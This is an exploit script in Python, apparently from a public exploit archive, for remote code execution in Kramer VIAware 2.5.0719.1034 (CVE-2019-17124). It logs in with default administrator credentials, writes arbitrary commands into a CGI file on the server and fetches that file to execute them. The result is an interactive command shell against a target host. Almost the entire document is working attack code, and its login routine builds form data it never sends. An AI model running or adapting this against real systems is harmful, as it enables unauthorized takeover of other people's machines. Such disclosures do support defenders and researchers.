# Exploit Title: Kramer VIAware 2.5.0719.1034 - Remote Code Execution (RCE)
# Date: 28/03/2022
# Exploit Author: sharkmoos & BallO
# Vendor Homepage: https://www.kramerav.com/
# Software Link: https://www.kramerav.com/us/product/viaware
# Version: 2.5.0719.1034
# Tested on: ViaWare Go (Windows 10)
# CVE : CVE-2019-17124
import requests, sys, urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def adminLogin(s, host, username, password):
headers = {
"Host": f"{host}",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language": "en-GB,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/x-www-form-urlencoded",
"Origin": f"https://{host}",
"Referer": f"https://{host}/admin/login.php",
"Upgrade-Insecure-Requests": "1",
"Sec-Fetch-Dest": "document",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-Site": "same-origin",
"Sec-Fetch-User": "?1",
"Sec-Gpc": "1",
"Te": "trailers",
"Connection": "close"
}
data = {
"txtUserId": username,
"txtPwd": password,
"btnOk" :"Login"
}
response = s.post(f"https://{host}/admin/login.php", verify=False)
if len(s.cookies) < 1:
return False
else:
return True
def writeCommand(session, host, command):
headers = {
"Host": f"{host}",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0",
"Accept": "text/html, */*",
"Accept-Language": "en-GB,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/x-www-form-urlencoded",
"X-Requested-With": "XMLHttpRequest",
"Origin": f"https://{host}",
"Referer": f"https://{host}/browseSystemFiles.php?path=C:\Windows&icon=browser",
"Sec-Fetch-Dest": "empty",
"Sec-Fetch-Mode": "cors",
"Sec-Fetch-Site": "same-origin",
"Sec-Gpc": "1",
"Te": "trailers",
"Connection": "close"
}
data = {
"radioBtnVal":f"{command}",
"associateFileName": "C:/tc/httpd/cgi-bin/exploit.cmd"
}
session.post(f"https://{host}/ajaxPages/writeBrowseFilePathAjax.php", headers=headers, data=data)
def getResult(session, host):
file = session.get(f"https://{host}/cgi-bin/exploit.cmd", verify=False)
pageText = file.text
if len(pageText) < 1:
result = "Command did not return a result"
else:
result = pageText
return result
def main(host, username="su", password="supass"):
s = requests.Session()
# comment this line to skip the login stage
loggedIn = adminLogin(s, host, username, password)
if not loggedIn:
print("Could not successfully login as the admin")
sys.exit(1)
else:
pass
command = ""
while command != "exit":
command = input("cmd:> ").strip()
writeCommand(s, host, command)
print(getResult(s, host))
exit()
if __name__ == "__main__":
args = sys.argv
numArgs = len(args)
if numArgs < 2:
print(f"Run script in format:\n\n\tpython3 {args[0]} target\n")
print(f"[Optional] Provide Admin Credentials\n\n\tpython3 {args[0]} target su supass")
if numArgs == 2:
main(args[1])
if numArgs == 4:
main(args[1], args[2], args[3])
if numArgs > 4:
print(f"Run script in format:\n\n\tpython3 {args[0]} target\n")
print(f"[Optional] Provide Admin Credentials\n\n\tpython3 {args[0]} target su supass")
